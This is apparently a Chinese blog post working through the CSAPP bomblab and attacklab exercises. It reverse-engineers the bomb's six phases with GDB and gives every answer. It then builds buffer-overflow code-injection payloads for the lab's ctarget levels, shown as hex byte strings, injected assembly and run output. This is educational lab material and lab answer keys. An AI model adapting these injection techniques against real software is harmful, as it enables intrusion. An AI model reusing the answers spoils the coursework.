CSAPP 第三章 bomblab attacklab

在”拆弹“过程中结合 GDB 调试,分析理解掌握各种指令和数据结构的汇编代码表示

bomblab

实验给到一个可执行程序和一个C语言的源码,但是源码的函数没有给全,只能判断大致逻辑。

设置了六个关卡需要全部通过之后才算成功,只要有一个关卡失败就会退出


先看了一眼.c文件的源码,文件中有大致如下几个函数 :initialize_bomb()read_line()explode bomb()phase_[number]()phase_defuse

其中 explode 用来引爆炸弹结束进程,defuse 拆弹(这两个还有那个初始化炸弹都不太重要),phase 系列函数就是具体每一个关卡对应的函数,每次新关卡都是 read_line() 先接受用户输入再进行判断的。

之前机器里装了 pwndbg 用来调试,我觉得比光秃秃的 gdb 更好用🤪所以我这次还是用它啦

直接 gdb bomb 调试看看,命令 b main 在 main 下断点然后 n 步入到第一个关卡函数。

程序在 read line() 这里停止,接收用户输入。由于关卡在输入之后,所以先输入一些乱码跳过这个函数进入下面的 phase_1

phase_1

使用 s 命令进入到函数内部,发现 call strings_not_equal 指令,根据字面意思也可以知道这是比较两个字符串。

此时 rdi 存储我们刚刚输入的内容,rsi 存储程序将要进行比较判断的内容,也是我们应该输入的正确答案:

Border relations with Canada have never been better.

我们这条命令执行完毕后发现返回值是 0x1 也就是 1,后面有一个 test eax,eax 指令跟随零跳转,也就是说只有比较两个字符串相等才会继续执行程序,如果返回值为 1就会调用 explode_bomb 函数结束程序。

phase_2

进入下一个关卡,还是同样先输入再判断。先填充一些字符串进去再进入函数中调试观察。

进入 phase_2 后看到一个 read_six_number 函数,顾名思义就是读取六个数字。

这里发现读取的数字是从我们开始 read_line() 中输入的字符串截取的, 之后 cmp dword ptr [rsp], 1 指令会将栈指针 rsp 的值和 1 比较。其中 dword ptr 代表要比较的数据在内存中占据4个字节,也就是我们输入的第一个数字要是 1

这样之后就会跳转到 phase_2+52 的地方去,我们发现它是一个循环

其中循环中的判断内容是取当前 rbx-4 的值也就是判断的上一个数字的值赋值给 eax, 执行 add eax, eax 将值乘 2 再与当前要判断的数字比较。

总的来看是第一个数字是 1 ,之后的每一个数字都是前面的数字乘 2 。所以在这个关卡应该输入 1 2 4 8 16 32

phase_3

进入到函数中发现有一个 scanf() 函数输出的格式化字符串是两个 %d,也就是我们在第三关要输入两个整数

其中返回值 eax 表示正确格式化的数据个数,这里的判断要求返回值要大于 1 。

随后我们进入到 phase_3+39 ,这里进的操作 cmp dword ptr [rsp+8], 7; ja phase_3+106 ,目标操作数大于 7 才会进行跳转,跳转过去发现是 explode_bomb() 😅。

我们调试看这个 [rsp+8] 存储的信息就是我们输入的第一个参数,也就是说我们输入的第一个数要是整数且要小于等于 7

下面就进入了一个跳转表

我们查看跳转表储存的信息

这里也可以看出来输入的第一个值不能大于7 的原因,它还要用来匹配跳转表对应从0开始到7的索引值。

第一个 0x400f7c 就是 phase_3+57 的地址,我就直接用它,对应我们输入的第一个数字是 0。

这里的指令对应将 0xcf 也就是 207 赋值给 eax,随后将我们输入的第二个数字和 eax 比较,只有相等才能避开 explode_bomb()

看了看其他的选项都是给 eax 赋值再比较,原理是一样的

所以说,综上我们知道第三次输入应该输入两个整数,我输入的是 0 207

phase_4

4和3是一样的套路,要求输入两个整数

不过这次的第一个数要求小于等于 0xe 也就是 14 才能跳转

随后我们进入 func4 ,在此之前可以发现其中的四个参数分别由前面的指令赋值:edx = 0xe=14 、 esi = 0 、 edi = 我们输入的第一个数字

进入 func4 ,太长了直接 disass func4 看这个函数完整的汇编代码

很明显就发现发现它 call 了很多次 func4 也就是说这个是个递归函数,人工反编译一下大概就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int func4(x,y,z)      //第一次递归中,x=我们输入的第一个数,y=0,z=14
{
int arg=z;
arg-=y;
int val=arg;
val>>=31;
arg+=val;
arg>>=1;
val=arg+y;
if(val>x)
{
z=val-1;
func4(x,y,z);
}
else
{
arg=0;
if(val<x)
{
y+=1;
func4(x,y,z);
arg=arg+arg+1;
}
}
return arg;
}

整理简化一下,让它长得更像我们平时接触到的递归,大概就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int func4(int x,int y,int z)
{
int arg=z-y;
int val=arg>>31;
arg+=val;
arg>>=1;
val=arg+y;
if(val>x)
{
arg=func4(x,y,val-1);
}
else
{
arg=0;
if(val<x)
{
arg=func4(x,y+1,z);
arg=arg*2+1;
}
}
return arg;
}

根据函数外 phase_4+65 处的判断,如果函数返回值为非 0 就会引爆炸弹,也就是说我们要让这个递归函数的最终返回值为0。写个测试代码运行一下发现 0、1、3 、7 都可以。

在返回值的检验后还有一个对 rsp+0xc 的检验,也就是我们输入的第二个值也要为0。

所以第四处应该输入两个数字,第一个是 0、1、3、7 任选其一,第二个是0

phase_5

还是输入 aaaaaaaaa 进入到第五个关卡,有一个 string_lenth() 函数

函数下方紧跟的指令 cmp eax, 6 判断函数的返回值必须是 6,也就是说我们要输入六个字符

往下看成功跳转后的代码,里面还设置了一个 canary 保护,应该是检验上面的 6 长度字符的。代码依旧是很长我们直接看汇编代码

箭头所指就是我们完成输入长度判断跳转后,关卡设置代码开始的地方

先看 explode_bomb 前面用来判断的指令,有一个和 phase_1 一样的 string_not_equal() 函数,比较的文本是 flyers。也就是说我们输入的这个字符串最后的结果要是 “flyers“ ,但前面有那么多指令一定不是只输入一个 flyers 这么简单!

让我们来看一下:

在 +41 和 +74 之间有一个循环的部分,这个循环一定就是对字符串的处理了,同时,可以看出结束循环的标志是 rax=6 也就是说这个循环要进行六次。

我们去掉每次的循环次数判断来分析一下每一行指令都做了什么:

1
2
3
4
5
6
movzx  ecx,BYTE PTR [rbx+rax*1]    ;rbx=输入的字符串 rax=0,每次循环都会加1
mov BYTE PTR [rsp],cl
mov rdx,QWORD PTR [rsp] ;到此句指令每次循环中读取用户输入字符串的一个字符到寄存器中
and edx,0xf ;取当前字符的二进制低四位数字
movzx edx,BYTE PTR [rdx+0x4024b0] ;从0x4024b0读取第rdx的字符,rdx=edx
mov BYTE PTR [rsp+rax*1+0x10],dl ;保存截取的字符

0x4024b0 处存储着一段字符串 “maduiersnfotvbylSo you think you can stop the bomb with ctrl-c, do you?“,四位的二进制最大是16,也就是说用来做判断的字符串有效值就是 maduiersnfotvbyl ,后面是作者在内涵我们

至此我们得出了字符串处理的方法,每次循环从输入的字符串按顺序取一个字符,检查所取字符的低四位数字,以这个数字为偏移在给定字符串中查找,要求最后的结果是 flyers。

我写了一个函数来找可见字符串的组合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include<stdlib.h>
int main()
{
int targetValue[6]={9,15,14,5,6,7};
char visibleChars[] = " !#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~";

for (int j=0;j<6;j++)
{
printf("\n找到尾数为%d的字符:",targetValue[j]);
for(int i = 0; visibleChars[i] != '\0'; i++)
{
char currentChar = visibleChars[i];
int charValue = currentChar - '0'; // 将字符转换为对应的整数值
if ((charValue & 0xF) == targetValue[j]) {
printf("%c ", currentChar);
}
}
}
getchar();
return 0;

}

每一个拎出来一个组合一下就行,我选的 ionefg 主要是全是小写字母不用大小写转换

phase_6

本来说是这道题可以不做,但是我又不想这个国庆假期里去看新东西了(我是懒惰虫,就做了一下子,然后这一道题做了一天😿

已经摸清套路了,这个环节要求输入六个数字。

汇编代码很长,大致看了一下在整个函数里面跳来跳去的,看着就头昏。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
0x00000000004010f4 <+0>:	push   r14
0x00000000004010f6 <+2>: push r13
0x00000000004010f8 <+4>: push r12
0x00000000004010fa <+6>: push rbp
0x00000000004010fb <+7>: push rbx
0x00000000004010fc <+8>: sub rsp,0x50
0x0000000000401100 <+12>: mov r13,rsp
0x0000000000401103 <+15>: mov rsi,rsp
0x0000000000401106 <+18>: call 0x40145c <read_six_numbers> ;读六个数字
0x000000000040110b <+23>: mov r14,rspn
0x000000000040110e <+26>: mov r12d,0x0
0x0000000000401114 <+32>: mov rbp,r13
0x0000000000401117 <+35>: mov eax,DWORD PTR [r13+0x0] ;取一个数字
0x000000000040111b <+39>: sub eax,0x1 ;将取出的数字-1
0x000000000040111e <+42>: cmp eax,0x5 ;结果要小于等于5
0x0000000000401121 <+45>: jbe 0x401128 <phase_6+52>
0x0000000000401123 <+47>: call 0x40143a <explode_bomb>
0x0000000000401128 <+52>: add r12d,0x1
0x000000000040112c <+56>: cmp r12d,0x6 ;六次循环
0x0000000000401130 <+60>: je 0x401153 <phase_6+95>
0x0000000000401132 <+62>: mov ebx,r12d
0x0000000000401135 <+65>: movsxd rax,ebx
0x0000000000401138 <+68>: mov eax,DWORD PTR [rsp+rax*4]
0x000000000040113b <+71>: cmp DWORD PTR [rbp+0x0],eax ;判断数字是否两两相等
0x000000000040113e <+74>: jne 0x401145 <phase_6+81>
0x0000000000401140 <+76>: call 0x40143a <explode_bomb>
0x0000000000401145 <+81>: add ebx,0x1
0x0000000000401148 <+84>: cmp ebx,0x5
0x000000000040114b <+87>: jle 0x401135 <phase_6+65>
0x000000000040114d <+89>: add r13,0x4
0x0000000000401151 <+93>: jmp 0x401114 <phase_6+32>
0x0000000000401153 <+95>: lea rsi,[rsp+0x18]
0x0000000000401158 <+100>: mov rax,r14
0x000000000040115b <+103>: mov ecx,0x7
0x0000000000401160 <+108>: mov edx,ecx ;edx=7
0x0000000000401162 <+110>: sub edx,DWORD PTR [rax] ;当前数字-7,结果覆盖原数字
0x0000000000401164 <+112>: mov DWORD PTR [rax],edx
0x0000000000401166 <+114>: add rax,0x4 ;准备读取下一个数字
0x000000000040116a <+118>: cmp rax,rsi ;判断是不是最后一次循环
0x000000000040116d <+121>: jne 0x401160 <phase_6+108> ;跳转回操作数字处理继续进行下一个数字的处理
0x000000000040116f <+123>: mov esi,0x0
0x0000000000401174 <+128>: jmp 0x401197 <phase_6+163>
0x0000000000401176 <+130>: mov rdx,QWORD PTR [rdx+0x8]
0x000000000040117a <+134>: add eax,0x1
0x000000000040117d <+137>: cmp eax,ecx
0x000000000040117f <+139>: jne 0x401176 <phase_6+130>
0x0000000000401181 <+141>: jmp 0x401188 <phase_6+148>
0x0000000000401183 <+143>: mov edx,0x6032d0
0x0000000000401188 <+148>: mov QWORD PTR [rsp+rsi*2+0x20],rdx
0x000000000040118d <+153>: add rsi,0x4
0x0000000000401191 <+157>: cmp rsi,0x18
0x0000000000401195 <+161>: je 0x4011ab <phase_6+183>
0x0000000000401197 <+163>: mov ecx,DWORD PTR [rsp+rsi*1]
0x000000000040119a <+166>: cmp ecx,0x1
0x000000000040119d <+169>: jle 0x401183 <phase_6+143>
0x000000000040119f <+171>: mov eax,0x1
0x00000000004011a4 <+176>: mov edx,0x6032d0
0x00000000004011a9 <+181>: jmp 0x401176 <phase_6+130>
0x00000000004011ab <+183>: mov rbx,QWORD PTR [rsp+0x20]
0x00000000004011b0 <+188>: lea rax,[rsp+0x28]
0x00000000004011b5 <+193>: lea rsi,[rsp+0x50]
0x00000000004011ba <+198>: mov rcx,rbx
0x00000000004011bd <+201>: mov rdx,QWORD PTR [rax]
0x00000000004011c0 <+204>: mov QWORD PTR [rcx+0x8],rdx
0x00000000004011c4 <+208>: add rax,0x8
0x00000000004011c8 <+212>: cmp rax,rsi
0x00000000004011cb <+215>: je 0x4011d2 <phase_6+222>
0x00000000004011cd <+217>: mov rcx,rdx
0x00000000004011d0 <+220>: jmp 0x4011bd <phase_6+201>
0x00000000004011d2 <+222>: mov QWORD PTR [rdx+0x8],0x0
0x00000000004011da <+230>: mov ebp,0x5
0x00000000004011df <+235>: mov rax,QWORD PTR [rbx+0x8]
0x00000000004011e3 <+239>: mov eax,DWORD PTR [rax]
0x00000000004011e5 <+241>: cmp DWORD PTR [rbx],eax
0x00000000004011e7 <+243>: jge 0x4011ee <phase_6+250>
0x00000000004011e9 <+245>: call 0x40143a <explode_bomb>
0x00000000004011ee <+250>: mov rbx,QWORD PTR [rbx+0x8]
0x00000000004011f2 <+254>: sub ebp,0x1
0x00000000004011f5 <+257>: jne 0x4011df <phase_6+235>
0x00000000004011f7 <+259>: add rsp,0x50 ;准备结束函数
0x00000000004011fb <+263>: pop rbx
0x00000000004011fc <+264>: pop rbp
0x00000000004011fd <+265>: pop r12
0x00000000004011ff <+267>: pop r13
0x0000000000401201 <+269>: pop r14
0x0000000000401203 <+271>: ret

乱七八糟乱七八糟

这个循环大概分为几个部分:

  • +23 - +60 判断输入的六个数字是否都小于等于6

  • +62 - +93 两个小循环来判断输入的数字是不是重复的

  • +108 -+128 所有数字都与7做差再用结果覆盖原始值

  • +130 - +181 重新安排链表

  • +183 - +257 检验链表中的数据是否从大到小排序

关于链表的操作部分:

+130 处的操作是 mov rdx,QWORD PTR [rdx+0x8] ,这是链表的一种表示方法,将链表中的节点串接起来。

在 +176 处取了一个地址进行操作,查看此处内存数据:

根据信息存储的方式也可以判断出这是一个链表,从 1-6 每一个索引值对应节点存储的数据为:332,168,924,691,477,413

也就是说这部分中,程序会先用7减去我们输入的数据,然后以我们输入的数据的顺序来重新排列链表中数据的顺序。比如我们输入 1、2、3、4、5、6 ,与 7 做差结果是 6、5、4、3、2、1,假设我们用 [n] 来表示原本链表中的第n个数据,那么它的排序顺序就是 [6]、[5]、[4]、[3]、[2]、[1],并且此时我们需要保证数据是从大到小排序的。

所以可以逆向分析,我们先把原链表中的数据排序,顺序是 3、4、5、6、1、2。又因为我们需要先与 7 做差,再逆向推回去就是 4、3、2、1、6、5


我最后总的作答是这样的

1
2
3
4
5
6
Border relations with Canada have never been better.
1 2 4 8 16 32
0 207
0 0
ionefg
4 3 2 1 6 5

完结撒花~🥳

attaklab

是书中的第三个实验,但是感觉实验内容和第三章的内容没什么关系

一共是两个文件,一个是 ctarget,一个是 rtarget

其中 ctarget 是存在代码注入攻击漏洞,rtarget是存在面向返回的编程(ROP)攻击漏洞。

hex2raw 是题目为我们提供的把十六进制表示转换为二进制数据的工具(超级简易版 pwntools !),确定好要给ctarget 输入的信息,用 hex2raw 转换,通过 Linux 终端的 IO 重定向功能,就可以输入给进程。

我只做了 ctarget。

gdb 调不了这个文件不知道为啥,就 objdump -d ctarget > ctarget.s 了汇编文件

touch1

任务描述:当函数 getbuf 返回后,让 ctarget 执行函数 touch1 ,而不是继续执行函数 test 。

最开始就让输入一串字符串,目的是覆盖返回地址,使程序跳转到 touch1

真的很怪这个程序的开始部分不在 main 函数里,所在函数叫 getbuf,被很多层的嵌套在了 launch 函数里

1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop

第一个sub指令把栈顶往下挪了40字节,也就是给缓冲区分配了40字节,然后调用了GetsGets 接收用户输入字符串。

所以,我们需要填充 (0x28+8) 个字符,再填充 touch1 的地址 0x04017c0 覆盖返回地址。 hex2raw 接受十六进制的数据,再加上小端序处理信息,所以我们要喂给 hex2raw 的数据是:

1
11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 c0 17 40 

得出结果再丢给ctarget就行辣!

1
2
3
4
5
6
7
8
9
10
11
$ vim touch1.txt
$ ./hex2raw < touch1.txt > touch1
$ ./ctarget -q -i ./touch1
Cookie: 0x59b997fa
Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 11 C0 17 40

touch2

任务描述:当函数 getbuf 返回后,让 ctarget 执行函数 touch2 ,而不是继续执行函数 test 。

还是和 touch1 一样覆盖返回地址,但是这次还要传递一个参数,下面是 touch2 的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
00000000004017ec <touch2>:
4017ec: 48 83 ec 08 sub $0x8,%rsp
4017f0: 89 fa mov %edi,%edx
4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel>
4017f9: 00 00 00
4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie>
401802: 75 20 jne 401824 <touch2+0x38>
401804: be e8 30 40 00 mov $0x4030e8,%esi
401809: bf 01 00 00 00 mov $0x1,%edi
40180e: b8 00 00 00 00 mov $0x0,%eax
401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt>
401818: bf 02 00 00 00 mov $0x2,%edi
40181d: e8 6b 04 00 00 callq 401c8d <validate>
401822: eb 1e jmp 401842 <touch2+0x56>
401824: be 10 31 40 00 mov $0x403110,%esi
401829: bf 01 00 00 00 mov $0x1,%edi
40182e: b8 00 00 00 00 mov $0x0,%eax
401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt>
401838: bf 02 00 00 00 mov $0x2,%edi
40183d: e8 0d 05 00 00 callq 401d4f <fail>
401842: bf 00 00 00 00 mov $0x0,%edi
401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>

我真的看汇编头晕我丢给 ida 了

检查条件是 val = cookie ,cookie 每次都是一样的 0x59b997fa。我们要把这个值传给 val,可以用命令 movq 0x59b997fa,%rdi 实现。

第一个参数用 rdi 传递

如此,我们就可以在 getbuf 时填入该语句,再将返回地址改写成 touch2 的地址,这样一来再次跳转执行 ret ,就可以执行我们写入的命令

1
2
3
movq 0x59b997fa,%rdi
pushq 0x04017ec
retq

最后获得的字节序列是

1
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 00 00

touch3

任务描述:当函数 getbuf 返回后,让 ctarget 执行函数 touch3 ,而不是继续执行函数 test 。

同样还是从 test 跳转到 touch3,这次是调用了一个函数 hexmatch()

hexmatch() 必须为 true 才能成功

就是要对比 sval 和 转化成字符串后的 cookie ,让它们俩相等。可以使用 man ascii 命令,得到字符串59b997fa 的十六进制表示:

1
59b997fa => 35 39 62 39 39 37 66 61

在C语言中字符串需要在末尾补上结束符'\0',其对应的十六进制形式为0x00。因此,字符串的完整表示为:

1
35 39 62 39 39 37 66 61 00

由于此处 v2 为指针指向某处地址,我们要将 rdi 地址设置为字符串的地址。此时我们需要考虑把字符串存储在哪里,由于函数 hexmatch 和 strncmp 被调用时,getbuf 使用的缓冲区会被重写。因此,不能将字符串存放在getbuf 的缓冲区中。可以把其存放在 test 的栈帧中。

getbuf的栈顶地址为0x5561dc78,getbuf 的缓冲区在栈中占了40个字节,随后其返回地址又占了8个字节,共计48=0x30个字节。

1
0x5561dc78 + 0x30 = 0x5561dca8

因此,可以将 cookie 值存放在地址 0x5561dca8 中。

注入的汇编代码就是

1
2
3
mov $0x5561dca8, %rdi
push $0x4018fa
ret

最终的攻击字符串为:

1
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00


原来这个实验我做了三天😶‍🌫️果然假期就是懒惰

xsbb:

在 phase_3 的跳转表那里,其实我当时根本没看出来这是跳转表,我去问了 chatCPT😿


编辑记录:

  • 2023-10-03 bomblab

  • 2023-11-20 attacklab


CSAPP 第三章 bomblab attacklab
https://shmodifier.github.io/2023/10/03/CSAPP-第三章-bomblab/
作者
Modifier
发布于
2023年10月3日
许可协议